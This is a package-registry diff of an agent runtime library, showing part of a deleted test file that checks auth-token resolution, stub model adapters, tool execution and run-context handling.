@crewhaus/runtime-core 0.1.3 → 0.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli-markdown.d.ts +56 -0
- package/dist/cli-markdown.js +164 -0
- package/dist/index.d.ts +368 -0
- package/dist/index.js +1976 -0
- package/dist/observability.d.ts +38 -0
- package/dist/observability.js +69 -0
- package/dist/project-memory.d.ts +28 -0
- package/dist/project-memory.js +104 -0
- package/package.json +46 -43
- package/src/cli-markdown.test.ts +0 -207
- package/src/cli-markdown.ts +0 -190
- package/src/cost-inline.test.ts +0 -58
- package/src/cost-wire-model.test.ts +0 -138
- package/src/index-coverage.test.ts +0 -1671
- package/src/index.test.ts +0 -2471
- package/src/index.ts +0 -2327
- package/src/observability-coverage.test.ts +0 -303
- package/src/observability.test.ts +0 -138
- package/src/observability.ts +0 -116
- package/src/project-memory-coverage.test.ts +0 -119
- package/src/project-memory.test.ts +0 -145
- package/src/project-memory.ts +0 -134
- package/src/tenant-isolation.test.ts +0 -80
package/src/index.test.ts
DELETED
|
@@ -1,2471 +0,0 @@
|
|
|
1
|
-
import { afterAll, beforeAll, beforeEach, describe, expect, test } from "bun:test";
|
|
2
|
-
import { mkdtempSync, rmSync } from "node:fs";
|
|
3
|
-
import { tmpdir } from "node:os";
|
|
4
|
-
import { join } from "node:path";
|
|
5
|
-
import { PassThrough } from "node:stream";
|
|
6
|
-
import type Anthropic from "@anthropic-ai/sdk";
|
|
7
|
-
import { createLogger } from "@crewhaus/logging";
|
|
8
|
-
import { type RunContext, createRunContext } from "@crewhaus/run-context";
|
|
9
|
-
import { buildTool } from "@crewhaus/tool-builder";
|
|
10
|
-
import { z } from "zod";
|
|
11
|
-
import { replayMessageHistory, resolveAuth, runChatLoop } from "./index";
|
|
12
|
-
|
|
13
|
-
// Route session-store/event-log writes to a per-file tmpdir so tests do
|
|
14
|
-
// not pollute `.crewhaus/sessions/` in the repo. runtime-core honours
|
|
15
|
-
// CREWHAUS_SESSION_DIR when no explicit `sessionRootDir` is supplied.
|
|
16
|
-
const SHARED_SESSION_ROOT = mkdtempSync(join(tmpdir(), "crewhaus-runtime-core-tests-"));
|
|
17
|
-
beforeAll(() => {
|
|
18
|
-
process.env["CREWHAUS_SESSION_DIR"] = SHARED_SESSION_ROOT;
|
|
19
|
-
});
|
|
20
|
-
afterAll(() => {
|
|
21
|
-
process.env["CREWHAUS_SESSION_DIR"] = undefined;
|
|
22
|
-
rmSync(SHARED_SESSION_ROOT, { recursive: true, force: true });
|
|
23
|
-
});
|
|
24
|
-
|
|
25
|
-
describe("resolveAuth", () => {
|
|
26
|
-
test("returns mode=none when neither var is set", () => {
|
|
27
|
-
expect(resolveAuth({})).toEqual({ mode: "none" });
|
|
28
|
-
});
|
|
29
|
-
|
|
30
|
-
test("recognizes an OAuth token by the sk-ant-oat prefix", () => {
|
|
31
|
-
expect(resolveAuth({ ANTHROPIC_AUTH_TOKEN: "sk-ant-oat01-abc" })).toEqual({
|
|
32
|
-
mode: "oauth",
|
|
33
|
-
token: "sk-ant-oat01-abc",
|
|
34
|
-
});
|
|
35
|
-
});
|
|
36
|
-
|
|
37
|
-
test("treats a non-OAuth ANTHROPIC_AUTH_TOKEN as an API key", () => {
|
|
38
|
-
expect(resolveAuth({ ANTHROPIC_AUTH_TOKEN: "sk-ant-api01-xyz" })).toEqual({
|
|
39
|
-
mode: "api-key",
|
|
40
|
-
token: "sk-ant-api01-xyz",
|
|
41
|
-
});
|
|
42
|
-
});
|
|
43
|
-
|
|
44
|
-
test("falls back to ANTHROPIC_API_KEY when AUTH_TOKEN is missing", () => {
|
|
45
|
-
expect(resolveAuth({ ANTHROPIC_API_KEY: "sk-ant-api01-aaa" })).toEqual({
|
|
46
|
-
mode: "api-key",
|
|
47
|
-
token: "sk-ant-api01-aaa",
|
|
48
|
-
});
|
|
49
|
-
});
|
|
50
|
-
|
|
51
|
-
test("AUTH_TOKEN takes precedence over API_KEY", () => {
|
|
52
|
-
expect(
|
|
53
|
-
resolveAuth({
|
|
54
|
-
ANTHROPIC_AUTH_TOKEN: "sk-ant-oat01-abc",
|
|
55
|
-
ANTHROPIC_API_KEY: "sk-ant-api01-xyz",
|
|
56
|
-
}),
|
|
57
|
-
).toEqual({ mode: "oauth", token: "sk-ant-oat01-abc" });
|
|
58
|
-
});
|
|
59
|
-
|
|
60
|
-
test("ignores empty-string env values", () => {
|
|
61
|
-
expect(
|
|
62
|
-
resolveAuth({ ANTHROPIC_AUTH_TOKEN: "", ANTHROPIC_API_KEY: "sk-ant-api01-only" }),
|
|
63
|
-
).toEqual({ mode: "api-key", token: "sk-ant-api01-only" });
|
|
64
|
-
});
|
|
65
|
-
});
|
|
66
|
-
|
|
67
|
-
/**
|
|
68
|
-
* Section 17 — synthetic ProviderAdapter that returns a single
|
|
69
|
-
* text-only stream per call. Counts how many times the runtime invokes
|
|
70
|
-
* the adapter so EOF / loop-exit assertions stay accurate.
|
|
71
|
-
*/
|
|
72
|
-
function makeStubAdapter(reply = "ok"): {
|
|
73
|
-
adapter: import("@crewhaus/adapter-anthropic").ProviderAdapter;
|
|
74
|
-
calls: () => number;
|
|
75
|
-
} {
|
|
76
|
-
let calls = 0;
|
|
77
|
-
const adapter: import("@crewhaus/adapter-anthropic").ProviderAdapter = {
|
|
78
|
-
providerId: "anthropic",
|
|
79
|
-
features: {
|
|
80
|
-
caching: "explicit",
|
|
81
|
-
tool_use: true,
|
|
82
|
-
vision: true,
|
|
83
|
-
thinking: true,
|
|
84
|
-
web_search: true,
|
|
85
|
-
},
|
|
86
|
-
estimateTokens: () => 0,
|
|
87
|
-
stream: () => {
|
|
88
|
-
calls++;
|
|
89
|
-
return (async function* () {
|
|
90
|
-
yield { kind: "message_start" } as const;
|
|
91
|
-
yield {
|
|
92
|
-
kind: "content_block_start",
|
|
93
|
-
index: 0,
|
|
94
|
-
block: { type: "text", text: "" },
|
|
95
|
-
} as const;
|
|
96
|
-
yield {
|
|
97
|
-
kind: "content_block_delta",
|
|
98
|
-
index: 0,
|
|
99
|
-
delta: { type: "text_delta", text: reply },
|
|
100
|
-
} as const;
|
|
101
|
-
yield { kind: "content_block_stop", index: 0 } as const;
|
|
102
|
-
yield { kind: "message_delta", stopReason: "end_turn" } as const;
|
|
103
|
-
yield { kind: "message_stop" } as const;
|
|
104
|
-
})();
|
|
105
|
-
},
|
|
106
|
-
};
|
|
107
|
-
return { adapter, calls: () => calls };
|
|
108
|
-
}
|
|
109
|
-
|
|
110
|
-
describe("runChatLoop provider feature gating (Section 17)", () => {
|
|
111
|
-
const noToolUseAdapter = (): import("@crewhaus/adapter-anthropic").ProviderAdapter => {
|
|
112
|
-
const { adapter } = makeStubAdapter();
|
|
113
|
-
return {
|
|
114
|
-
...adapter,
|
|
115
|
-
features: { ...adapter.features, tool_use: false },
|
|
116
|
-
};
|
|
117
|
-
};
|
|
118
|
-
|
|
119
|
-
test("a spec with tools on a no-tool_use adapter throws a ConfigError naming the model", async () => {
|
|
120
|
-
const echoTool = buildTool({
|
|
121
|
-
name: "echo",
|
|
122
|
-
description: "echo",
|
|
123
|
-
inputSchema: z.object({ msg: z.string() }).strict(),
|
|
124
|
-
readOnly: true,
|
|
125
|
-
destructive: false,
|
|
126
|
-
concurrencySafe: true,
|
|
127
|
-
execute: async (i) => i.msg,
|
|
128
|
-
});
|
|
129
|
-
const input = new PassThrough();
|
|
130
|
-
input.end();
|
|
131
|
-
const run = runChatLoop({
|
|
132
|
-
model: "bedrock/meta.llama3-3-70b-instruct-v1:0",
|
|
133
|
-
instructions: "test",
|
|
134
|
-
_adapter: noToolUseAdapter(),
|
|
135
|
-
input,
|
|
136
|
-
tools: [echoTool],
|
|
137
|
-
});
|
|
138
|
-
await expect(run).rejects.toThrow(
|
|
139
|
-
/model "bedrock\/meta\.llama3-3-70b-instruct-v1:0" \(provider anthropic\) does not support tool use — remove tools or pick a tool-capable model/,
|
|
140
|
-
);
|
|
141
|
-
});
|
|
142
|
-
|
|
143
|
-
test("a tool-less spec on the same adapter still runs (gate keys on declared tools)", async () => {
|
|
144
|
-
const input = new PassThrough();
|
|
145
|
-
input.end();
|
|
146
|
-
await runChatLoop({
|
|
147
|
-
model: "test-model",
|
|
148
|
-
instructions: "test",
|
|
149
|
-
_adapter: noToolUseAdapter(),
|
|
150
|
-
input,
|
|
151
|
-
tools: [],
|
|
152
|
-
});
|
|
153
|
-
});
|
|
154
|
-
});
|
|
155
|
-
|
|
156
|
-
describe("runChatLoop stdin EOF handling", () => {
|
|
157
|
-
test("exits cleanly when the input stream is already at EOF", async () => {
|
|
158
|
-
const input = new PassThrough();
|
|
159
|
-
input.end();
|
|
160
|
-
const { adapter, calls } = makeStubAdapter();
|
|
161
|
-
|
|
162
|
-
await runChatLoop({ model: "test-model", instructions: "test", _adapter: adapter, input });
|
|
163
|
-
|
|
164
|
-
expect(calls()).toBe(0);
|
|
165
|
-
});
|
|
166
|
-
|
|
167
|
-
test("exits cleanly after consuming buffered input followed by EOF", async () => {
|
|
168
|
-
const input = new PassThrough();
|
|
169
|
-
input.write("hi\n");
|
|
170
|
-
input.end();
|
|
171
|
-
const { adapter, calls } = makeStubAdapter("hello back");
|
|
172
|
-
|
|
173
|
-
await runChatLoop({ model: "test-model", instructions: "test", _adapter: adapter, input });
|
|
174
|
-
|
|
175
|
-
expect(calls()).toBe(1);
|
|
176
|
-
});
|
|
177
|
-
});
|
|
178
|
-
|
|
179
|
-
/**
|
|
180
|
-
* Scripted ProviderAdapter (Section 17) that cycles through pre-baked
|
|
181
|
-
* content-block arrays per call, synthesising the canonical StreamEvent
|
|
182
|
-
* sequence. Captures the messages + tools the runtime sent so tests
|
|
183
|
-
* can assert tool_result wiring, advertise-then-omit behaviour, etc.
|
|
184
|
-
*/
|
|
185
|
-
function makeScriptedClient(scripts: ReadonlyArray<Anthropic.ContentBlock[]>): {
|
|
186
|
-
adapter: import("@crewhaus/adapter-anthropic").ProviderAdapter;
|
|
187
|
-
callCount: () => number;
|
|
188
|
-
capturedMessages: () => ReadonlyArray<ReadonlyArray<Anthropic.MessageParam>>;
|
|
189
|
-
capturedTools: () => ReadonlyArray<Anthropic.Tool[] | undefined>;
|
|
190
|
-
} {
|
|
191
|
-
const captures: Anthropic.MessageParam[][] = [];
|
|
192
|
-
const tools: (Anthropic.Tool[] | undefined)[] = [];
|
|
193
|
-
let i = 0;
|
|
194
|
-
const adapter: import("@crewhaus/adapter-anthropic").ProviderAdapter = {
|
|
195
|
-
providerId: "anthropic",
|
|
196
|
-
features: {
|
|
197
|
-
caching: "explicit",
|
|
198
|
-
tool_use: true,
|
|
199
|
-
vision: true,
|
|
200
|
-
thinking: true,
|
|
201
|
-
web_search: true,
|
|
202
|
-
},
|
|
203
|
-
estimateTokens: () => 0,
|
|
204
|
-
stream: (req) => {
|
|
205
|
-
captures.push(req.messages.map((m) => ({ ...m })) as Anthropic.MessageParam[]);
|
|
206
|
-
tools.push(
|
|
207
|
-
req.tools !== undefined
|
|
208
|
-
? req.tools.map((t) => ({
|
|
209
|
-
name: t.name,
|
|
210
|
-
description: t.description,
|
|
211
|
-
input_schema: t.input_schema as Anthropic.Tool.InputSchema,
|
|
212
|
-
}))
|
|
213
|
-
: undefined,
|
|
214
|
-
);
|
|
215
|
-
const content = scripts[Math.min(i, scripts.length - 1)] ?? [];
|
|
216
|
-
const hasToolUse = content.some((b) => b.type === "tool_use");
|
|
217
|
-
i++;
|
|
218
|
-
return (async function* () {
|
|
219
|
-
yield { kind: "message_start" } as const;
|
|
220
|
-
for (let idx = 0; idx < content.length; idx++) {
|
|
221
|
-
const block = content[idx];
|
|
222
|
-
if (block === undefined) continue;
|
|
223
|
-
if (block.type === "text") {
|
|
224
|
-
yield {
|
|
225
|
-
kind: "content_block_start",
|
|
226
|
-
index: idx,
|
|
227
|
-
block: { type: "text", text: "" },
|
|
228
|
-
} as const;
|
|
229
|
-
yield {
|
|
230
|
-
kind: "content_block_delta",
|
|
231
|
-
index: idx,
|
|
232
|
-
delta: { type: "text_delta", text: block.text },
|
|
233
|
-
} as const;
|
|
234
|
-
yield { kind: "content_block_stop", index: idx } as const;
|
|
235
|
-
} else if (block.type === "tool_use") {
|
|
236
|
-
yield {
|
|
237
|
-
kind: "content_block_start",
|
|
238
|
-
index: idx,
|
|
239
|
-
block: { type: "tool_use", id: block.id, name: block.name, input: {} },
|
|
240
|
-
} as const;
|
|
241
|
-
yield {
|
|
242
|
-
kind: "content_block_delta",
|
|
243
|
-
index: idx,
|
|
244
|
-
delta: { type: "input_json_delta", partial_json: JSON.stringify(block.input ?? {}) },
|
|
245
|
-
} as const;
|
|
246
|
-
yield { kind: "content_block_stop", index: idx } as const;
|
|
247
|
-
}
|
|
248
|
-
}
|
|
249
|
-
yield {
|
|
250
|
-
kind: "message_delta",
|
|
251
|
-
stopReason: hasToolUse ? "tool_use" : "end_turn",
|
|
252
|
-
} as const;
|
|
253
|
-
yield { kind: "message_stop" } as const;
|
|
254
|
-
})();
|
|
255
|
-
},
|
|
256
|
-
};
|
|
257
|
-
return {
|
|
258
|
-
adapter,
|
|
259
|
-
callCount: () => i,
|
|
260
|
-
capturedMessages: () => captures,
|
|
261
|
-
capturedTools: () => tools,
|
|
262
|
-
};
|
|
263
|
-
}
|
|
264
|
-
|
|
265
|
-
describe("runChatLoop tool execution", () => {
|
|
266
|
-
test("executes a tool_use block and continues the conversation", async () => {
|
|
267
|
-
const toolCalls: unknown[] = [];
|
|
268
|
-
const echoTool = buildTool({
|
|
269
|
-
name: "echo",
|
|
270
|
-
description: "echoes the input",
|
|
271
|
-
inputSchema: z.object({ msg: z.string() }),
|
|
272
|
-
execute: async (input) => {
|
|
273
|
-
toolCalls.push(input);
|
|
274
|
-
return `echoed: ${input.msg}`;
|
|
275
|
-
},
|
|
276
|
-
});
|
|
277
|
-
|
|
278
|
-
const { adapter, callCount, capturedMessages, capturedTools } = makeScriptedClient([
|
|
279
|
-
// 1st model turn: ask for a tool.
|
|
280
|
-
[
|
|
281
|
-
{
|
|
282
|
-
type: "tool_use",
|
|
283
|
-
id: "tu_1",
|
|
284
|
-
name: "echo",
|
|
285
|
-
input: { msg: "hi" },
|
|
286
|
-
} as Anthropic.ToolUseBlock,
|
|
287
|
-
],
|
|
288
|
-
// 2nd model turn: text-only, terminates the inner loop.
|
|
289
|
-
[{ type: "text", text: "done", citations: null } as Anthropic.TextBlock],
|
|
290
|
-
]);
|
|
291
|
-
|
|
292
|
-
const input = new PassThrough();
|
|
293
|
-
input.write("please echo\n");
|
|
294
|
-
input.end();
|
|
295
|
-
|
|
296
|
-
await runChatLoop({
|
|
297
|
-
model: "test-model",
|
|
298
|
-
instructions: "test",
|
|
299
|
-
_adapter: adapter,
|
|
300
|
-
input,
|
|
301
|
-
tools: [echoTool],
|
|
302
|
-
permissionMode: "bypass",
|
|
303
|
-
});
|
|
304
|
-
|
|
305
|
-
// The model was called twice for one user input: once that requested the
|
|
306
|
-
// tool, once after the tool result was injected.
|
|
307
|
-
expect(callCount()).toBe(2);
|
|
308
|
-
// The tool's execute spy was called exactly once with the validated input.
|
|
309
|
-
expect(toolCalls).toEqual([{ msg: "hi" }]);
|
|
310
|
-
|
|
311
|
-
// Tools advertised on every call (once advertised, stay advertised).
|
|
312
|
-
expect(capturedTools()[0]).toBeDefined();
|
|
313
|
-
expect(capturedTools()[0]?.[0]?.name).toBe("echo");
|
|
314
|
-
|
|
315
|
-
// The 2nd request must include a tool_result block referencing tu_1.
|
|
316
|
-
const secondCallMessages = capturedMessages()[1] ?? [];
|
|
317
|
-
const userToolResult = secondCallMessages.find(
|
|
318
|
-
(m) =>
|
|
319
|
-
m.role === "user" &&
|
|
320
|
-
Array.isArray(m.content) &&
|
|
321
|
-
m.content.some((b) => typeof b === "object" && b.type === "tool_result"),
|
|
322
|
-
);
|
|
323
|
-
expect(userToolResult).toBeDefined();
|
|
324
|
-
const resultBlocks = userToolResult?.content as Anthropic.ToolResultBlockParam[];
|
|
325
|
-
expect(resultBlocks[0]?.tool_use_id).toBe("tu_1");
|
|
326
|
-
expect(resultBlocks[0]?.is_error).toBe(false);
|
|
327
|
-
expect(resultBlocks[0]?.content).toBe("echoed: hi");
|
|
328
|
-
});
|
|
329
|
-
|
|
330
|
-
test("a plain run (no sub-agent / crew) still threads the run's RunContext to tools (#160-followup)", async () => {
|
|
331
|
-
// #160 follow-up — the bridge carrying `runContext` used to be built only
|
|
332
|
-
// when `spawnSubAgent`/`crewMailbox` was injected, so boundary-site tools
|
|
333
|
-
// (tool-mcp, skills-registry) got no RunContext on a plain run and tagged
|
|
334
|
-
// their content under the coarse "tool" origin instead of "mcp"/"skill".
|
|
335
|
-
// Now the bridge is built on every run; assert a tool can reach the run's
|
|
336
|
-
// RunContext (the surface those tools use to call `tagContent`).
|
|
337
|
-
let bridgeRunContext: RunContext | undefined;
|
|
338
|
-
const probe = buildTool({
|
|
339
|
-
name: "probe",
|
|
340
|
-
description: "captures its run context",
|
|
341
|
-
inputSchema: z.object({}),
|
|
342
|
-
execute: async (_input, ctx) => {
|
|
343
|
-
const bridge = ctx?.bridge as { runContext?: RunContext } | undefined;
|
|
344
|
-
bridgeRunContext = bridge?.runContext;
|
|
345
|
-
return "ok";
|
|
346
|
-
},
|
|
347
|
-
});
|
|
348
|
-
|
|
349
|
-
const { adapter } = makeScriptedClient([
|
|
350
|
-
[{ type: "tool_use", id: "tu_p", name: "probe", input: {} } as Anthropic.ToolUseBlock],
|
|
351
|
-
[{ type: "text", text: "done", citations: null } as Anthropic.TextBlock],
|
|
352
|
-
]);
|
|
353
|
-
|
|
354
|
-
const ctx = createRunContext();
|
|
355
|
-
const input = new PassThrough();
|
|
356
|
-
input.write("probe please\n");
|
|
357
|
-
input.end();
|
|
358
|
-
|
|
359
|
-
await runChatLoop({
|
|
360
|
-
model: "test-model",
|
|
361
|
-
instructions: "test",
|
|
362
|
-
_adapter: adapter,
|
|
363
|
-
input,
|
|
364
|
-
tools: [probe],
|
|
365
|
-
permissionMode: "bypass",
|
|
366
|
-
runContext: ctx,
|
|
367
|
-
// NOTE: deliberately NO spawnSubAgent / crewMailbox — a plain top-level run.
|
|
368
|
-
});
|
|
369
|
-
|
|
370
|
-
// The tool saw a bridge, and its runContext is the very run context we
|
|
371
|
-
// passed in — so tool-mcp/skills-registry can tag provenance on every run.
|
|
372
|
-
expect(bridgeRunContext).toBe(ctx);
|
|
373
|
-
});
|
|
374
|
-
|
|
375
|
-
test("returns an is_error tool_result when the model names an unknown tool", async () => {
|
|
376
|
-
const knownTool = buildTool({
|
|
377
|
-
name: "known",
|
|
378
|
-
description: "noop",
|
|
379
|
-
inputSchema: z.object({}),
|
|
380
|
-
execute: async () => "ok",
|
|
381
|
-
});
|
|
382
|
-
|
|
383
|
-
const { adapter, callCount, capturedMessages } = makeScriptedClient([
|
|
384
|
-
[
|
|
385
|
-
{
|
|
386
|
-
type: "tool_use",
|
|
387
|
-
id: "tu_x",
|
|
388
|
-
name: "ghost",
|
|
389
|
-
input: {},
|
|
390
|
-
} as Anthropic.ToolUseBlock,
|
|
391
|
-
],
|
|
392
|
-
[{ type: "text", text: "recovered", citations: null } as Anthropic.TextBlock],
|
|
393
|
-
]);
|
|
394
|
-
|
|
395
|
-
const input = new PassThrough();
|
|
396
|
-
input.write("go\n");
|
|
397
|
-
input.end();
|
|
398
|
-
|
|
399
|
-
await runChatLoop({
|
|
400
|
-
model: "test-model",
|
|
401
|
-
instructions: "test",
|
|
402
|
-
_adapter: adapter,
|
|
403
|
-
input,
|
|
404
|
-
tools: [knownTool],
|
|
405
|
-
});
|
|
406
|
-
|
|
407
|
-
expect(callCount()).toBe(2);
|
|
408
|
-
const secondCall = capturedMessages()[1] ?? [];
|
|
409
|
-
const userMsg = secondCall[secondCall.length - 1];
|
|
410
|
-
const blocks = (userMsg?.content ?? []) as Anthropic.ToolResultBlockParam[];
|
|
411
|
-
expect(blocks[0]?.is_error).toBe(true);
|
|
412
|
-
expect(blocks[0]?.content).toContain('unknown tool "ghost"');
|
|
413
|
-
});
|
|
414
|
-
|
|
415
|
-
test("does not advertise tools when the tools list is empty", async () => {
|
|
416
|
-
const { adapter, capturedTools } = makeScriptedClient([
|
|
417
|
-
[{ type: "text", text: "hi", citations: null } as Anthropic.TextBlock],
|
|
418
|
-
]);
|
|
419
|
-
|
|
420
|
-
const input = new PassThrough();
|
|
421
|
-
input.write("hi\n");
|
|
422
|
-
input.end();
|
|
423
|
-
|
|
424
|
-
await runChatLoop({ model: "test-model", instructions: "test", _adapter: adapter, input });
|
|
425
|
-
|
|
426
|
-
expect(capturedTools()[0]).toBeUndefined();
|
|
427
|
-
});
|
|
428
|
-
|
|
429
|
-
test("forwards tool.jsonSchema verbatim when present (over zodToJsonSchema)", async () => {
|
|
430
|
-
const customJsonSchema = {
|
|
431
|
-
type: "object" as const,
|
|
432
|
-
properties: {
|
|
433
|
-
message: { type: "string", description: "what to echo" },
|
|
434
|
-
flag: { type: "boolean", default: false },
|
|
435
|
-
},
|
|
436
|
-
required: ["message"],
|
|
437
|
-
additionalProperties: false,
|
|
438
|
-
};
|
|
439
|
-
const mcpStyleTool = buildTool({
|
|
440
|
-
name: "everything__echo",
|
|
441
|
-
description: "remote echo",
|
|
442
|
-
// The validator is permissive (mirrors how tool-mcp builds RegisteredTool).
|
|
443
|
-
inputSchema: z.unknown(),
|
|
444
|
-
jsonSchema: customJsonSchema,
|
|
445
|
-
execute: async () => "ok",
|
|
446
|
-
});
|
|
447
|
-
|
|
448
|
-
const { adapter, capturedTools } = makeScriptedClient([
|
|
449
|
-
[{ type: "text", text: "fine", citations: null } as Anthropic.TextBlock],
|
|
450
|
-
]);
|
|
451
|
-
|
|
452
|
-
const input = new PassThrough();
|
|
453
|
-
input.write("hi\n");
|
|
454
|
-
input.end();
|
|
455
|
-
|
|
456
|
-
await runChatLoop({
|
|
457
|
-
model: "test-model",
|
|
458
|
-
instructions: "test",
|
|
459
|
-
_adapter: adapter,
|
|
460
|
-
input,
|
|
461
|
-
tools: [mcpStyleTool],
|
|
462
|
-
});
|
|
463
|
-
|
|
464
|
-
// The tool advertised on the first call must carry the exact JSON Schema
|
|
465
|
-
// bytes from the MCP-style tool, not the zodToJsonSchema(z.unknown()) shape.
|
|
466
|
-
expect(capturedTools()[0]?.[0]?.input_schema).toBe(
|
|
467
|
-
customJsonSchema as unknown as Anthropic.Tool.InputSchema,
|
|
468
|
-
);
|
|
469
|
-
});
|
|
470
|
-
});
|
|
471
|
-
|
|
472
|
-
/**
|
|
473
|
-
* Section 17 — combined stream-and-compaction stub. The runtime now
|
|
474
|
-
* routes both turns and `autoCompact` through `adapter.stream(...)`,
|
|
475
|
-
* so a single ProviderAdapter handles both surfaces. The `scripts`
|
|
476
|
-
* array drives normal turns; once exhausted, every subsequent call
|
|
477
|
-
* (which in practice are autoCompact calls) returns a fixed "compacted
|
|
478
|
-
* summary" text-only stream — preserving the prior separation of
|
|
479
|
-
* concerns at the assertion layer.
|
|
480
|
-
*/
|
|
481
|
-
function makeFullClient(scripts: ReadonlyArray<Anthropic.ContentBlock[]>): {
|
|
482
|
-
adapter: import("@crewhaus/adapter-anthropic").ProviderAdapter;
|
|
483
|
-
streamCount: () => number;
|
|
484
|
-
createCount: () => number;
|
|
485
|
-
capturedStreamMessages: () => ReadonlyArray<ReadonlyArray<Anthropic.MessageParam>>;
|
|
486
|
-
} {
|
|
487
|
-
const captures: Anthropic.MessageParam[][] = [];
|
|
488
|
-
let streamIdx = 0;
|
|
489
|
-
let compactionCount = 0;
|
|
490
|
-
const adapter: import("@crewhaus/adapter-anthropic").ProviderAdapter = {
|
|
491
|
-
providerId: "anthropic",
|
|
492
|
-
features: {
|
|
493
|
-
caching: "explicit",
|
|
494
|
-
tool_use: true,
|
|
495
|
-
vision: true,
|
|
496
|
-
thinking: true,
|
|
497
|
-
web_search: true,
|
|
498
|
-
},
|
|
499
|
-
estimateTokens: () => 0,
|
|
500
|
-
stream: (req) => {
|
|
501
|
-
// Detect compaction vs. turn by sniffing the trailing user message
|
|
502
|
-
// for the SUMMARY_REQUEST sentinel. autoCompact appends a known
|
|
503
|
-
// "Summarize the prior conversation" prompt; turn calls don't.
|
|
504
|
-
const lastMsg = req.messages[req.messages.length - 1];
|
|
505
|
-
const lastContent = typeof lastMsg?.content === "string" ? lastMsg.content : "";
|
|
506
|
-
const isCompaction = /Summarize the prior conversation/.test(lastContent);
|
|
507
|
-
// Capture only turn calls so test assertions on
|
|
508
|
-
// `capturedStreamMessages()[0]` keep their pre-Section-17
|
|
509
|
-
// semantics (where compaction went through a separate API
|
|
510
|
-
// surface). Compaction calls are counted in `compactionCount`.
|
|
511
|
-
if (!isCompaction) {
|
|
512
|
-
captures.push(req.messages.map((m) => ({ ...m })) as Anthropic.MessageParam[]);
|
|
513
|
-
}
|
|
514
|
-
const content = isCompaction
|
|
515
|
-
? ([
|
|
516
|
-
{ type: "text", text: "compacted summary", citations: null } as Anthropic.TextBlock,
|
|
517
|
-
] as Anthropic.ContentBlock[])
|
|
518
|
-
: (scripts[Math.min(streamIdx, scripts.length - 1)] ?? []);
|
|
519
|
-
if (isCompaction) compactionCount++;
|
|
520
|
-
else streamIdx++;
|
|
521
|
-
const hasToolUse = content.some((b) => b.type === "tool_use");
|
|
522
|
-
return (async function* () {
|
|
523
|
-
yield { kind: "message_start" } as const;
|
|
524
|
-
for (let idx = 0; idx < content.length; idx++) {
|
|
525
|
-
const block = content[idx];
|
|
526
|
-
if (block === undefined) continue;
|
|
527
|
-
if (block.type === "text") {
|
|
528
|
-
yield {
|
|
529
|
-
kind: "content_block_start",
|
|
530
|
-
index: idx,
|
|
531
|
-
block: { type: "text", text: "" },
|
|
532
|
-
} as const;
|
|
533
|
-
yield {
|
|
534
|
-
kind: "content_block_delta",
|
|
535
|
-
index: idx,
|
|
536
|
-
delta: { type: "text_delta", text: block.text },
|
|
537
|
-
} as const;
|
|
538
|
-
yield { kind: "content_block_stop", index: idx } as const;
|
|
539
|
-
} else if (block.type === "tool_use") {
|
|
540
|
-
yield {
|
|
541
|
-
kind: "content_block_start",
|
|
542
|
-
index: idx,
|
|
543
|
-
block: { type: "tool_use", id: block.id, name: block.name, input: {} },
|
|
544
|
-
} as const;
|
|
545
|
-
yield {
|
|
546
|
-
kind: "content_block_delta",
|
|
547
|
-
index: idx,
|
|
548
|
-
delta: { type: "input_json_delta", partial_json: JSON.stringify(block.input ?? {}) },
|
|
549
|
-
} as const;
|
|
550
|
-
yield { kind: "content_block_stop", index: idx } as const;
|
|
551
|
-
}
|
|
552
|
-
}
|
|
553
|
-
yield {
|
|
554
|
-
kind: "message_delta",
|
|
555
|
-
stopReason: hasToolUse ? "tool_use" : "end_turn",
|
|
556
|
-
} as const;
|
|
557
|
-
yield { kind: "message_stop" } as const;
|
|
558
|
-
})();
|
|
559
|
-
},
|
|
560
|
-
};
|
|
561
|
-
return {
|
|
562
|
-
adapter,
|
|
563
|
-
streamCount: () => streamIdx,
|
|
564
|
-
createCount: () => compactionCount,
|
|
565
|
-
capturedStreamMessages: () => captures,
|
|
566
|
-
};
|
|
567
|
-
}
|
|
568
|
-
|
|
569
|
-
describe("runChatLoop runContext", () => {
|
|
570
|
-
test("runs without an explicit runContext (default factory fires)", async () => {
|
|
571
|
-
const input = new PassThrough();
|
|
572
|
-
input.end();
|
|
573
|
-
const { adapter, calls } = makeStubAdapter();
|
|
574
|
-
await runChatLoop({ model: "test-model", instructions: "test", _adapter: adapter, input });
|
|
575
|
-
expect(calls()).toBe(0);
|
|
576
|
-
});
|
|
577
|
-
|
|
578
|
-
test("turnNumber increments on each user input", async () => {
|
|
579
|
-
const ctx = createRunContext();
|
|
580
|
-
expect(ctx.turnNumber).toBe(0);
|
|
581
|
-
|
|
582
|
-
const input = new PassThrough();
|
|
583
|
-
input.write("hello\n");
|
|
584
|
-
input.end();
|
|
585
|
-
const { adapter } = makeStubAdapter("ack");
|
|
586
|
-
|
|
587
|
-
await runChatLoop({
|
|
588
|
-
model: "test-model",
|
|
589
|
-
instructions: "test",
|
|
590
|
-
_adapter: adapter,
|
|
591
|
-
input,
|
|
592
|
-
runContext: ctx,
|
|
593
|
-
});
|
|
594
|
-
|
|
595
|
-
expect(ctx.turnNumber).toBe(1);
|
|
596
|
-
});
|
|
597
|
-
|
|
598
|
-
test("logger receives turn-start debug records", async () => {
|
|
599
|
-
const lines: string[] = [];
|
|
600
|
-
const logger = createLogger({
|
|
601
|
-
level: "debug",
|
|
602
|
-
format: "json",
|
|
603
|
-
sink: (line) => {
|
|
604
|
-
lines.push(line);
|
|
605
|
-
},
|
|
606
|
-
});
|
|
607
|
-
const ctx = createRunContext({ logger });
|
|
608
|
-
const input = new PassThrough();
|
|
609
|
-
input.write("hi\n");
|
|
610
|
-
input.end();
|
|
611
|
-
const { adapter } = makeStubAdapter("ack");
|
|
612
|
-
|
|
613
|
-
await runChatLoop({
|
|
614
|
-
model: "test-model",
|
|
615
|
-
instructions: "test",
|
|
616
|
-
_adapter: adapter,
|
|
617
|
-
input,
|
|
618
|
-
runContext: ctx,
|
|
619
|
-
});
|
|
620
|
-
|
|
621
|
-
const turnStarts = lines.filter((l) => l.includes('"msg":"turn start"'));
|
|
622
|
-
expect(turnStarts.length).toBe(1);
|
|
623
|
-
});
|
|
624
|
-
});
|
|
625
|
-
|
|
626
|
-
describe("runChatLoop pre-turn compaction", () => {
|
|
627
|
-
test("snips long history before calling the model", async () => {
|
|
628
|
-
// Pre-load the runtime via a long initial user message — bigger
|
|
629
|
-
